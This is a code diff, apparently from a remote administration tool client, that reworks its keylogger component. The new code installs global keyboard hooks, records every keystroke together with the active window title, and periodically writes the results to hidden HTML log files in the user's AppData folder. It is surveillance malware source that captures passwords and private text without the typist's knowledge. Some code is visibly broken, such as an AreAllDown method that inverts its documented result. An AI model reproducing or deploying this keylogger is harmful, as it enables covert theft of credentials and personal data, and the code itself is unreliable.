protected abstract IEnumerable<KeyPressEventArgsExt> GetPressEventArgs(CallbackData data);
protected abstract KeyEventArgsExt GetDownUpEventArgs(CallbackData data);
}
}

View File

@ -0,0 +1,111 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Windows.Forms;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
/// <summary>
/// Contains a snapshot of a keyboard state at certain moment and provides methods
/// of querying whether specific keys are pressed or locked.
/// </summary>
/// <remarks>
/// This class is basically a managed wrapper of GetKeyboardState API function
/// http://msdn.microsoft.com/en-us/library/ms646299
/// </remarks>
internal class KeyboardState
{
private readonly byte[] m_KeyboardStateNative;
private KeyboardState(byte[] keyboardStateNative)
{
m_KeyboardStateNative = keyboardStateNative;
}
/// <summary>
/// Makes a snapshot of a keyboard state to the moment of call and returns an
/// instance of <see cref="KeyboardState" /> class.
/// </summary>
/// <returns>An instance of <see cref="KeyboardState" /> class representing a snapshot of keyboard state at certain moment.</returns>
public static KeyboardState GetCurrent()
{
byte[] keyboardStateNative = new byte[256];
KeyboardNativeMethods.GetKeyboardState(keyboardStateNative);
return new KeyboardState(keyboardStateNative);
}
internal byte[] GetNativeState()
{
return m_KeyboardStateNative;
}
/// <summary>
/// Indicates whether specified key was down at the moment when snapshot was created or not.
/// </summary>
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
/// <returns><b>true</b> if key was down, <b>false</b> - if key was up.</returns>
public bool IsDown(Keys key)
{
byte keyState = GetKeyState(key);
bool isDown = GetHighBit(keyState);
return isDown;
}
/// <summary>
/// Indicate weather specified key was toggled at the moment when snapshot was created or not.
/// </summary>
/// <param name="key">Key (corresponds to the virtual code of the key)</param>
/// <returns>
/// <b>true</b> if toggle key like (CapsLock, NumLocke, etc.) was on. <b>false</b> if it was off.
/// Ordinal (non toggle) keys return always false.
/// </returns>
public bool IsToggled(Keys key)
{
byte keyState = GetKeyState(key);
bool isToggled = GetLowBit(keyState);
return isToggled;
}
/// <summary>
/// Indicates weather every of specified keys were down at the moment when snapshot was created.
/// The method returns false if even one of them was up.
/// </summary>
/// <param name="keys">Keys to verify whether they were down or not.</param>
/// <returns><b>true</b> - all were down. <b>false</b> - at least one was up.</returns>
public bool AreAllDown(IEnumerable<Keys> keys)
{
foreach (Keys key in keys)
{
if (!IsDown(key))
{
return true;
}
}
return false;
}
private byte GetKeyState(Keys key)
{
int virtualKeyCode = (int) key;
if (virtualKeyCode < 0 || virtualKeyCode > 255)
{
throw new ArgumentOutOfRangeException("key", key, "The value must be between 0 and 255.");
}
return m_KeyboardStateNative[virtualKeyCode];
}
private static bool GetHighBit(byte value)
{
return (value >> 7) != 0;
}
private static bool GetLowBit(byte value)
{
return (value & 1) != 0;
}
}
}

View File

@ -0,0 +1,179 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Windows.Forms;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal abstract class MouseListener : BaseListener, IMouseEvents
{
private readonly ButtonSet m_DoubleDown;
private readonly ButtonSet m_SingleDown;
private Point m_PreviousPosition;
protected MouseListener(Subscribe subscribe)
: base(subscribe)
{
m_PreviousPosition = new Point(-1, -1);
m_DoubleDown = new ButtonSet();
m_SingleDown = new ButtonSet();
}
protected override bool Callback(CallbackData data)
{
var e = GetEventArgs(data);
if (e.IsMouseKeyDown)
{
ProcessDown(ref e);
}
if (e.IsMouseKeyUp)
{
ProcessUp(ref e);
}
if (e.WheelScrolled)
{
ProcessWheel(ref e);
}
if (HasMoved(e.Point))
{
ProcessMove(ref e);
}
return !e.Handled;
}
protected abstract MouseEventExtArgs GetEventArgs(CallbackData data);
protected virtual void ProcessWheel(ref MouseEventExtArgs e)
{
OnWheel(e);
}
protected virtual void ProcessDown(ref MouseEventExtArgs e)
{
OnDown(e);
OnDownExt(e);
if (e.Handled)
{
return;
}
if (e.Clicks == 2)
{
m_DoubleDown.Add(e.Button);
}
if (e.Clicks == 1)
{
m_SingleDown.Add(e.Button);
}
}
protected virtual void ProcessUp(ref MouseEventExtArgs e)
{
if (m_SingleDown.Contains(e.Button))
{
OnUp(e);
OnUpExt(e);
if (e.Handled)
{
return;
}
OnClick(e);
m_SingleDown.Remove(e.Button);
}
if (m_DoubleDown.Contains(e.Button))
{
e = e.ToDoubleClickEventArgs();
OnUp(e);
OnDoubleClick(e);
m_DoubleDown.Remove(e.Button);
}
}
private void ProcessMove(ref MouseEventExtArgs e)
{
m_PreviousPosition = e.Point;
OnMove(e);
OnMoveExt(e);
}
private bool HasMoved(Point actualPoint)
{
return m_PreviousPosition != actualPoint;
}
public event MouseEventHandler MouseMove;
public event EventHandler<MouseEventExtArgs> MouseMoveExt;
public event MouseEventHandler MouseClick;
public event MouseEventHandler MouseDown;
public event EventHandler<MouseEventExtArgs> MouseDownExt;
public event MouseEventHandler MouseUp;
public event EventHandler<MouseEventExtArgs> MouseUpExt;
public event MouseEventHandler MouseWheel;
public event MouseEventHandler MouseDoubleClick;
protected virtual void OnMove(MouseEventArgs e)
{
var handler = MouseMove;
if (handler != null) handler(this, e);
}
protected virtual void OnMoveExt(MouseEventExtArgs e)
{
var handler = MouseMoveExt;
if (handler != null) handler(this, e);
}
protected virtual void OnClick(MouseEventArgs e)
{
var handler = MouseClick;
if (handler != null) handler(this, e);
}
protected virtual void OnDown(MouseEventArgs e)
{
var handler = MouseDown;
if (handler != null) handler(this, e);
}
protected virtual void OnDownExt(MouseEventExtArgs e)
{
var handler = MouseDownExt;
if (handler != null) handler(this, e);
}
protected virtual void OnUp(MouseEventArgs e)
{
var handler = MouseUp;
if (handler != null) handler(this, e);
}
protected virtual void OnUpExt(MouseEventExtArgs e)
{
var handler = MouseUpExt;
if (handler != null) handler(this, e);
}
protected virtual void OnWheel(MouseEventArgs e)
{
var handler = MouseWheel;
if (handler != null) handler(this, e);
}
protected virtual void OnDoubleClick(MouseEventArgs e)
{
var handler = MouseDoubleClick;
if (handler != null) handler(this, e);
}
}
}

View File

@ -0,0 +1,10 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger.Implementation
{
internal delegate HookResult Subscribe(Callback callbck);
}

View File

@ -0,0 +1,128 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xClient.Core.Keylogger.Implementation;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides extended argument data for the <see cref='KeyListener.KeyDown' /> or
/// <see cref='KeyListener.KeyUp' /> event.
/// </summary>
public class KeyEventArgsExt : KeyEventArgs
{
/// <summary>
/// Initializes a new instance of the <see cref="KeyEventArgsExt" /> class.
/// </summary>
/// <param name="keyData"></param>
public KeyEventArgsExt(Keys keyData)
: base(keyData)
{
}
internal KeyEventArgsExt(Keys keyData, int timestamp, bool isKeyDown, bool isKeyUp)
: this(keyData)
{
Timestamp = timestamp;
IsKeyDown = isKeyDown;
IsKeyUp = isKeyUp;
}
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
/// <summary>
/// True if event signals key down..
/// </summary>
public bool IsKeyDown { get; private set; }
/// <summary>
/// True if event signals key up.
/// </summary>
public bool IsKeyUp { get; private set; }
internal static KeyEventArgsExt FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
const uint maskKeydown = 0x40000000; // for bit 30
const uint maskKeyup = 0x80000000; // for bit 31
int timestamp = Environment.TickCount;
var flags = (uint) lParam.ToInt64();
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
bool wasKeyDown = (flags & maskKeydown) > 0;
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
bool isKeyReleased = (flags & maskKeyup) > 0;
Keys keyData = AppendModifierStates((Keys) wParam);
bool isKeyDown = !wasKeyDown && !isKeyReleased;
bool isKeyUp = wasKeyDown && isKeyReleased;
return new KeyEventArgsExt(keyData, timestamp, isKeyDown, isKeyUp);
}
internal static KeyEventArgsExt FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
var keyboardHookStruct =
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
var keyData = AppendModifierStates((Keys) keyboardHookStruct.VirtualKeyCode);
var keyCode = (int) wParam;
bool isKeyDown = (keyCode == Messages.WM_KEYDOWN || keyCode == Messages.WM_SYSKEYDOWN);
bool isKeyUp = (keyCode == Messages.WM_KEYUP || keyCode == Messages.WM_SYSKEYUP);
return new KeyEventArgsExt(keyData, keyboardHookStruct.Time, isKeyDown, isKeyUp);
}
// # It is not possible to distinguish Keys.LControlKey and Keys.RControlKey when they are modifiers
// Check for Keys.Control instead
// Same for Shift and Alt(Menu)
// See more at http://www.tech-archive.net/Archive/DotNet/microsoft.public.dotnet.framework.windowsforms/2008-04/msg00127.html #
// A shortcut to make life easier
private static bool CheckModifier(int vKey)
{
return (KeyboardNativeMethods.GetKeyState(vKey) & 0x8000) > 0;
}
private static Keys AppendModifierStates(Keys keyData)
{
// Is Control being held down?
bool control = CheckModifier(KeyboardNativeMethods.VK_CONTROL);
// Is Shift being held down?
bool shift = CheckModifier(KeyboardNativeMethods.VK_SHIFT);
// Is Alt being held down?
bool alt = CheckModifier(KeyboardNativeMethods.VK_MENU);
// Windows keys
// # combine LWin and RWin key with other keys will potentially corrupt the data
// notable F5 | Keys.LWin == F12, see https://globalmousekeyhook.codeplex.com/workitem/1188
// and the KeyEventArgs.KeyData don't recognize combined data either
// Function (Fn) key
// # CANNOT determine state due to conversion inside keyboard
// See http://en.wikipedia.org/wiki/Fn_key#Technical_details #
return keyData |
(control ? Keys.Control : Keys.None) |
(shift ? Keys.Shift : Keys.None) |
(alt ? Keys.Alt : Keys.None);
}
}
}

View File

@ -0,0 +1,121 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xClient.Core.Keylogger.Implementation;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides extended data for the <see cref='KeyListener.KeyPress' /> event.
/// </summary>
public class KeyPressEventArgsExt : KeyPressEventArgs
{
internal KeyPressEventArgsExt(char keyChar, int timestamp)
: base(keyChar)
{
IsNonChar = keyChar == (char) 0x0;
Timestamp = timestamp;
}
/// <summary>
/// Initializes a new instance of the <see cref='KeyPressEventArgsExt' /> class.
/// </summary>
/// <param name="keyChar">
/// Character corresponding to the key pressed. 0 char if represents a system or functional non char
/// key.
/// </param>
public KeyPressEventArgsExt(char keyChar)
: this(keyChar, Environment.TickCount)
{
}
/// <summary>
/// True if represents a system or functional non char key.
/// </summary>
public bool IsNonChar { get; private set; }
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
//http://msdn.microsoft.com/en-us/library/ms644984(v=VS.85).aspx
const uint maskKeydown = 0x40000000; // for bit 30
const uint maskKeyup = 0x80000000; // for bit 31
const uint maskScanCode = 0xff0000; // for bit 23-16
var flags = (uint) lParam.ToInt64();
//bit 30 Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
var wasKeyDown = (flags & maskKeydown) > 0;
//bit 31 Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.
var isKeyReleased = (flags & maskKeyup) > 0;
if (!wasKeyDown && !isKeyReleased)
{
yield break;
}
var virtualKeyCode = (int) wParam;
var scanCode = checked((int) (flags & maskScanCode));
const int fuState = 0;
char[] chars;
var isOk =
KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
if (!isOk) yield break;
foreach (var ch in chars)
{
yield return new KeyPressEventArgsExt(ch);
}
}
internal static IEnumerable<KeyPressEventArgsExt> FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
if ((int) wParam != Messages.WM_KEYDOWN)
{
yield break;
}
KeyboardHookStruct keyboardHookStruct =
(KeyboardHookStruct) Marshal.PtrToStructure(lParam, typeof (KeyboardHookStruct));
var virtualKeyCode = keyboardHookStruct.VirtualKeyCode;
var scanCode = keyboardHookStruct.ScanCode;
var fuState = keyboardHookStruct.Flags;
if (virtualKeyCode == KeyboardNativeMethods.VK_PACKET)
{
var ch = (char) scanCode;
yield return new KeyPressEventArgsExt(ch, keyboardHookStruct.Time);
}
else
{
char[] chars;
var isOk =
KeyboardNativeMethods.TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, out chars);
if (!isOk) yield break;
foreach (var current in chars)
{
yield return new KeyPressEventArgsExt(current, keyboardHookStruct.Time);
}
}
}
}
}

View File

@ -1,39 +0,0 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace xClient.Core.Keylogger
{
/// <summary>
/// An attribute that defines a field to be that of a basic Keylogger
/// key. This attribute is used to represent the key in a better way
/// by holding specific data of the key it defines.
/// </summary>
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)]
public class KeyloggerKey : Attribute
{
/// <summary>
/// The appearance of the logged key.
/// </summary>
public string KeyName { get; private set; }
/// <summary>
/// Tells the Logger that this key is handled in a special way.
/// </summary>
// Please note that "Special Keys" will be colored in a different
// way by the Logger.
public bool IsSpecialKey { get; private set; }
/// <summary>
/// Constructs the attribute used by the keylogger
/// keys to hold data for them.
/// </summary>
/// <param name="PrintedName">The printed value of the key when converting
/// the specific key to its string value.</param>
/// <param name="IsSpecialKey">Determines if the key is a special key.</param>
internal KeyloggerKey(string PrintedName, bool _IsSpecialKey = false)
{
KeyName = PrintedName;
IsSpecialKey = _IsSpecialKey;
}
}
}

View File

@ -1,154 +0,0 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
using xClient.Core.Keylogger;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides extension methods that are used to assist repetitive tasks that
/// are done throughout the keylogging system.
/// </summary>
public static class KeyloggerHelpers
{
/// <summary>
/// Extracts the byte representation of the specific key provided.
/// </summary>
/// <param name="sender">The keylogger key to obtain the byte data from.</param>
/// <returns>Returns the byte representation of the key provided.</returns>
public static byte GetKeyloggerKeyValue(this KeyloggerKeys sender)
{
return Convert.ToByte(sender);
}
/// <summary>
/// Determines if the key provided is one that is considered to be
/// special and should be handled differently by the keylogger.
/// </summary>
/// <param name="sender">The keylogger key to decide upon.</param>
/// <returns>True if the key is special; False if the key is not special.</returns>
public static bool IsSpecialKey(this KeyloggerKeys sender)
{
try
{
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
if (fieldInfo != null)
{
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
{
return keyloggerKeyAttributes[0].IsSpecialKey;
}
}
return false;
}
catch
{
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
return false;
}
}
/// <summary>
/// Obtains the name, if one was given, of the key provided.
/// </summary>
/// <param name="sender">The keylogger key to obtain the name from.</param>
/// <returns>Returns the name of the key that was explicitly provided, or string.Empty
/// if none was provided.</returns>
public static string GetKeyloggerKeyName(this KeyloggerKeys sender)
{
try
{
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
if (fieldInfo != null)
{
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
{
return keyloggerKeyAttributes[0].KeyName;
}
}
return string.Empty;
}
catch
{
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
return string.Empty;
}
}
/// <summary>
/// Determines if the key code provided is in the pressed state.
/// </summary>
/// <param name="sender">The code for the key.</param>
/// <returns>True if key is pressed; False if the key is not.</returns>
public static bool IsKeyPressed(this short sender)
{
return (sender & 0x8000) != 0;
}
/// <summary>
/// Determines if the key code provided is in a toggled state.
/// </summary>
/// <param name="sender">The code for the key.</param>
/// <returns>True if toggled on; False if toggled off.</returns>
public static bool IsKeyToggled(this short sender)
{
return (sender & 0x0001) != 0;
}
public static string BuildString(this KeyloggerModifierKeys sender)
{
// Add to this method for more combinations that should be supported!
try
{
StringBuilder BuiltModifierKeys = new StringBuilder();
if (sender.CtrlKeyPressed)
{
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(CtrlName))
BuiltModifierKeys.Append(CtrlName + " + ");
}
if (sender.AltKeyPressed)
{
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(AltName))
BuiltModifierKeys.Append(AltName + " + ");
}
if (sender.ShiftKeyPressed)
{
string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(ShiftName))
BuiltModifierKeys.Append(ShiftName + " + ");
}
if (sender.WindowsKeyPressed)
{
string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(WinName))
BuiltModifierKeys.Append(WinName + " + ");
}
return BuiltModifierKeys.ToString();
}
catch
{
return string.Empty;
}
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -8,16 +8,14 @@ using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger
{
public class Logger
/// <summary>
/// Ties together the logic used to log keyboard input with the
/// logic used to manipulate the output
/// </summary>
public class Logger : IDisposable
{
public static Logger Instance;
private bool IsEnabled = false;
public bool Enabled
{
get { return this.IsEnabled; }
set { SetHook(value); }
}
private bool disposed = false;
private StringBuilder _logFileBuffer;
private string _hWndTitle;
@ -26,32 +24,14 @@ namespace xClient.Core.Keylogger
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private LoggedKey keyToLog;
private readonly List<LoggedKey> _keysDown = new List<LoggedKey>();
private readonly System.Timers.Timer _timerFlush;
public struct KeyData
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
private List<Keys> PressedKeys = new List<Keys>();
private const int WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101;
private const int WM_SYSKEYDOWN = 0x104;
private const int WM_SYSKEYUP = 0x105;
private const int WH_KEYBOARD_LL = 13;
public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
private HookProcDelegate _hook;
private IntPtr _hookHandle = IntPtr.Zero;
private IKeyboardMouseEvents m_Events;
/// <summary>
/// Creates the logging class that provides keylogging functionality.
/// Creates the logging class that provides keylogging functionality.hello?
/// </summary>
public Logger(double flushInterval)
{
@ -60,129 +40,150 @@ namespace xClient.Core.Keylogger
WriteFile();
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
this._logFileBuffer = new StringBuilder();
this._timerFlush = new System.Timers.Timer { Interval = flushInterval };
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._logFileBuffer = new StringBuilder();
Unsubscribe();
Subscribe(Hook.GlobalEvents());
_timerFlush.Enabled = true;
_timerFlush.Start();
}
private string HighlightSpecialKey(string name)
~Logger()
{
if (!string.IsNullOrEmpty(name))
{
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
}
else
{
return string.Empty;
}
// If Dispose() is called, we won't reach here and performance will not be
// hit. This is here if Dispose() did not get called when it should have.
// It is a safe-guard because we want to make sure we unsubscribe from these
// things or the client may not be able to get keystrokes/mouse clicks to any
// other application (including Windows).
Dispose(true);
}
private int HookProc(int nCode, int wParam, ref KeyData lParam)
public void Dispose()
{
if (nCode >= 0)
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (!disposed)
{
switch (wParam)
if (disposing)
{
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
//TODO - handle modifier keys in a better way
//
// If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
// perhaps some sort of filter?
keyToLog = new LoggedKey();
keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
if (_timerFlush != null)
{
_timerFlush.Dispose();
}
if (!_keysDown.Contains(keyToLog))
{
try
{
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(_hWndTitle))
{
// Only write the title to the log file if the names are different.
if (_hWndTitle != _hWndLastTitle)
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
Unsubscribe();
if (keyToLog.ModifierKeysSet)
{
if (keyToLog.PressedKey.IsSpecialKey())
{
// The returned string could be empty. If it is, ignore it
// because we don't know how to handle that special key.
// The key would be considered unsupported.
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
disposed = true;
}
}
}
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
// The pressed key is not special, but we have encountered
// a situation of multiple key presses, so just build them.
_logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
FromKeys(keyToLog)));
}
}
else
{
if (keyToLog.PressedKey.IsSpecialKey())
{
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
private void Subscribe(IKeyboardMouseEvents events)
{
m_Events = events;
m_Events.KeyDown += OnKeyDown;
m_Events.KeyUp += OnKeyUp;
m_Events.KeyPress += Logger_KeyPress;
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
_logFileBuffer.Append(FromKeys(keyToLog));
}
}
}
catch
{
}
// To-Do: Log these in a readable manner... Perhaps the location etc.
//m_Events.MouseDown += OnMouseDown;
//m_Events.MouseUp += OnMouseUp;
//m_Events.MouseClick += OnMouseClick;
//m_Events.MouseDoubleClick += OnMouseDoubleClick;
_keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
}
break;
case WM_KEYUP:
case WM_SYSKEYUP:
_keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
break;
//m_Events.MouseMove += HookManager_MouseMove;
//m_Events.MouseWheel += HookManager_MouseWheel;
//m_Events.MouseDownExt += HookManager_Supress;
}
private void Unsubscribe()
{
if (m_Events == null) return;
m_Events.KeyDown -= OnKeyDown;
m_Events.KeyUp -= OnKeyUp;
m_Events.KeyPress -= Logger_KeyPress;
// To-Do: Log these in a readable manner... Perhaps the location etc.
//m_Events.MouseDown -= OnMouseDown;
//m_Events.MouseUp -= OnMouseUp;
//m_Events.MouseClick -= OnMouseClick;
//m_Events.MouseDoubleClick -= OnMouseDoubleClick;
//m_Events.MouseMove -= HookManager_MouseMove;
//m_Events.MouseWheel -= HookManager_MouseWheel;
//m_Events.MouseDownExt -= HookManager_Supress;
m_Events.Dispose();
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
PressedKeys.Add(e.KeyCode);
}
private void OnKeyUp(object sender, KeyEventArgs e)
{
_logFileBuffer.Append(HighlightSpecialKeys(PressedKeys.ToArray()));
PressedKeys.Remove(e.KeyCode);
}
private void Logger_KeyPress(object sender, KeyPressEventArgs e)
{
_logFileBuffer.Append(e.KeyChar + " ");
}
private string HighlightSpecialKeys(Keys[] _names)
{
string[] names = new string[_names.Length];
Array.Copy(_names, names, _names.Length);
return HighlightSpecialKeys(names);
}
private string HighlightSpecialKeys(string[] names)
{
if (names.Length < 1) return string.Empty;
StringBuilder specialKeys = new StringBuilder();
int ValidSpecialKeys = 0;
for (int i = 0; i < names.Length; i++)
{
if (!string.IsNullOrEmpty(names[i]))
{
if (ValidSpecialKeys == 0)
{
specialKeys.AppendFormat("<font color=\"0000FF\">([{0}] ", names[i]);
}
else
{
specialKeys.AppendFormat("+ [{0}]", names[i]);
}
ValidSpecialKeys++;
}
}
return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
}
private void SetHook(bool enable)
{
switch (enable)
// If there are items in the special keys string builder, give it an ending
// font tag and some trailing white-space.
if (ValidSpecialKeys > 0)
{
case true:
_hook = new HookProcDelegate(HookProc);
_hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
//hook installed, enabled
_timerFlush.Enabled = true;
IsEnabled = true;
Application.Run(); //start message pump for our hook on this thread
break;
case false:
_timerFlush.Enabled = false;
if (_hookHandle != IntPtr.Zero)
Win32.UnhookWindowsHookEx(_hookHandle);
Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
break;
specialKeys.Append(")</font> ");
}
return specialKeys.ToString();
}
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
@ -241,42 +242,11 @@ namespace xClient.Core.Keylogger
{
StringBuilder sbTitle = new StringBuilder(1024);
Win32.GetWindowText(Win32.GetForegroundWindow().ToInt32(), sbTitle, sbTitle.Capacity);
WinApi.ThreadNativeMethods.GetWindowText(WinApi.ThreadNativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity);
string title = sbTitle.ToString();
return title != string.Empty ? title : null;
}
private IntPtr GetActiveKeyboardLayout()
{
uint pid;
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
}
private char? FromKeys(LoggedKey key)
{
//keyStates is a byte array that specifies the current state of the keyboard and keys
//The keys we are interested in are modifier keys such as shift and caps lock
byte[] keyStates = new byte[256];
if (key.ModifierKeys.ShiftKeyPressed)
keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
if (key.ModifierKeys.CapsLock)
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
if (key.ModifierKeys.NumLock)
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
if (key.ModifierKeys.ScrollLock)
keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
var sb = new StringBuilder(10);
return Win32.ToUnicodeEx(key.PressedKey.GetKeyloggerKeyValue(), 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
? (char?)sb[0] : null;
}
}
}

View File

@ -0,0 +1,211 @@
// This code is distributed under MIT license.
// Copyright (c) 2015 George Mamaladze
// See license.txt or http://opensource.org/licenses/mit-license.php
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using xClient.Core.Keylogger.WinApi;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides extended data for the MouseClickExt and MouseMoveExt events.
/// </summary>
public class MouseEventExtArgs : MouseEventArgs
{
/// <summary>
/// Initializes a new instance of the <see cref="MouseEventExtArgs" /> class.
/// </summary>
/// <param name="buttons">One of the MouseButtons values indicating which mouse button was pressed.</param>
/// <param name="clicks">The number of times a mouse button was pressed.</param>
/// <param name="point">The x and y -coordinate of a mouse click, in pixels.</param>
/// <param name="delta">A signed count of the number of detents the wheel has rotated.</param>
/// <param name="timestamp">The system tick count when the event occurred.</param>
/// <param name="isMouseKeyDown">True if event signals mouse button down.</param>
/// <param name="isMouseKeyUp">True if event signals mouse button up.</param>
internal MouseEventExtArgs(MouseButtons buttons, int clicks, Point point, int delta, int timestamp,
bool isMouseKeyDown, bool isMouseKeyUp)
: base(buttons, clicks, point.X, point.Y, delta)
{
IsMouseKeyDown = isMouseKeyDown;
IsMouseKeyUp = isMouseKeyUp;
Timestamp = timestamp;
}
/// <summary>
/// Set this property to <b>true</b> inside your event handler to prevent further processing of the event in other
/// applications.
/// </summary>
public bool Handled { get; set; }
/// <summary>
/// True if event contains information about wheel scroll.
/// </summary>
public bool WheelScrolled
{
get { return Delta != 0; }
}
/// <summary>
/// True if event signals a click. False if it was only a move or wheel scroll.
/// </summary>
public bool Clicked
{
get { return Clicks > 0; }
}
/// <summary>
/// True if event signals mouse button down.
/// </summary>
public bool IsMouseKeyDown { get; private set; }
/// <summary>
/// True if event signals mouse button up.
/// </summary>
public bool IsMouseKeyUp { get; private set; }
/// <summary>
/// The system tick count of when the event occurred.
/// </summary>
public int Timestamp { get; private set; }
/// <summary>
/// </summary>
internal Point Point
{
get { return new Point(X, Y); }
}
internal static MouseEventExtArgs FromRawDataApp(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
AppMouseStruct marshalledMouseStruct =
(AppMouseStruct) Marshal.PtrToStructure(lParam, typeof (AppMouseStruct));
return FromRawDataUniversal(wParam, marshalledMouseStruct.ToMouseStruct());
}
internal static MouseEventExtArgs FromRawDataGlobal(CallbackData data)
{
var wParam = data.WParam;
var lParam = data.LParam;
MouseStruct marshalledMouseStruct = (MouseStruct) Marshal.PtrToStructure(lParam, typeof (MouseStruct));
return FromRawDataUniversal(wParam, marshalledMouseStruct);
}
/// <summary>
/// Creates <see cref="MouseEventExtArgs" /> from relevant mouse data.
/// </summary>
/// <param name="wParam">First Windows Message parameter.</param>
